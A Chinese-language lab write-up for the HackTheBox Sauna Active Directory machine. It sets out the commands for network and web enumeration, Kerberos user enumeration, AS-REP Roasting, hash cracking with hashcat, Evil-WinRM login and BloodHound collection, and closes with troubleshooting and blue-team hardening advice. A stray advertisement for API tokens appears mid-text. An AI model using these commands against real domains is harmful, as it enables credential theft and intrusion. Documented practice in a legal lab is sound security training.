1. Sauna靶机概述与核心挑战
HackTheBox平台的Sauna靶机是一台基于Windows Server的Active Directory环境模拟靶机,被广泛用于红队攻防训练。这台靶机得名于其AD环境中包含的"SAUNA"主机名,整个渗透路径涉及Kerberos协议利用、SPN扫描、AS-REP Roasting攻击、WinRM横向移动等多个典型的企业内网攻击面。
与常见的Linux靶机不同,Windows域环境渗透需要掌握特定的工具链和方法论。Sauna靶机特别适合练习以下核心技能:
- 无凭证情况下的信息收集技术
- Kerberos协议漏洞的实战利用
- 基于服务账号的权限提升路径
- Windows远程管理服务的武器化
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始信息收集与枚举
2.1 基础网络扫描
使用Nmap进行全端口扫描是标准起手式:
bash复制nmap -sC -sV -p- -T4 10.10.10.10 -oA sauna_full
关键发现通常是:
- 53/tcp:DNS服务(域控制器标志)
- 80/tcp:IIS Web服务
- 88/tcp:Kerberos服务
- 389/tcp:LDAP服务
- 5985/tcp:WinRM服务
注意:Windows靶机的端口响应特征与Linux不同,445端口的关闭状态可能暗示着防火墙规则的存在。
2.2 Web应用指纹识别
访问80端口的Web服务时,重点关注:
- 页面源码中的注释和隐藏字段
- HTTP头部的Server信息
- 可能存在的登录表单自动完成属性
- 静态资源中的敏感路径
使用gobuster进行目录扫描:
bash复制gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,php
3. Kerberos攻击面挖掘
3.1 用户枚举技巧
通过Kerberos错误响应进行用户枚举是Windows域渗透的关键步骤:
bash复制python3 kerbrute.py userenum --dc 10.10.10.10 -d EGOTISTICAL-BANK.LOCAL /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
有效的用户名会返回PRINCIPAL UNKNOWN错误,而存在的用户会返回其他错误代码。这个过程需要注意:
- 避免触发账户锁定策略(建议间隔0.5秒以上)
- 优先尝试常见命名规则(如f.lastname格式)
3.2 AS-REP Roasting实战
当发现用户设置了"不需要预认证"属性时(通常在服务账号中出现),可以使用:
bash复制GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile valid_users.txt -format hashcat -outputfile hashes.asreproast
获取到的哈希可以用hashcat破解:
bash复制hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r rules/d3ad0ne.rule
4. 权限提升与横向移动
4.1 WinRM服务利用
获得有效凭证后,使用Evil-WinRM进行连接:
bash复制evil-winrm -i 10.10.10.10 -u username -p password
连接后重点关注:
- 用户权限级别(whoami /priv)
- 可访问的共享文件夹(net share)
- 计划任务列表(schtasks /query /fo LIST /v)
4.2 BloodHound辅助分析
上传SharpHound收集器获取域关系图:
powershell复制Invoke-BloodHound -CollectionMethod All -Domain EGOTISTICAL-BANK.LOCAL -ZipFileName sauna.zip
在BloodHound中分析:
- 标记当前用户为起始点
- 查找最短路径到Domain Admins组
- 特别注意GenericAll、WriteDacl等高危权限
5. 常见问题排查指南
5.1 Kerberos时间同步问题
错误现象:Clock skew too great
解决方法:
bash复制sudo ntpdate 10.10.10.10
5.2 WinRM连接失败排查
检查点:
- 5985端口是否开放
- 用户是否在Remote Management Users组
- 服务是否运行(Get-Service WinRM)
5.3 BloodHound数据收集失败
可能原因:
- .NET版本不兼容
- 防火墙阻止LDAP查询
- 账户权限不足
替代方案:
powershell复制Invoke-BloodHound -CollectionMethod DCOnly
6. 防御视角的加固建议
作为蓝队成员,针对Sauna靶机暴露的攻击面应重点关注:
- 禁用Kerberos不需要预认证的属性
- 监控异常SPN请求
- 限制WinRM访问IP范围
- 定期审计服务账号权限
在真实环境中,建议部署:
- LAPS(本地管理员密码解决方案)
- 特权访问工作站(PAW)
- AD证书服务替代明文密码认证
通过Sauna靶机的完整渗透过程,可以系统性地掌握Windows域环境的攻击链。建议在获得初始shell后,尝试不使用Metasploit框架完成全部渗透,这对理解底层原理大有裨益。
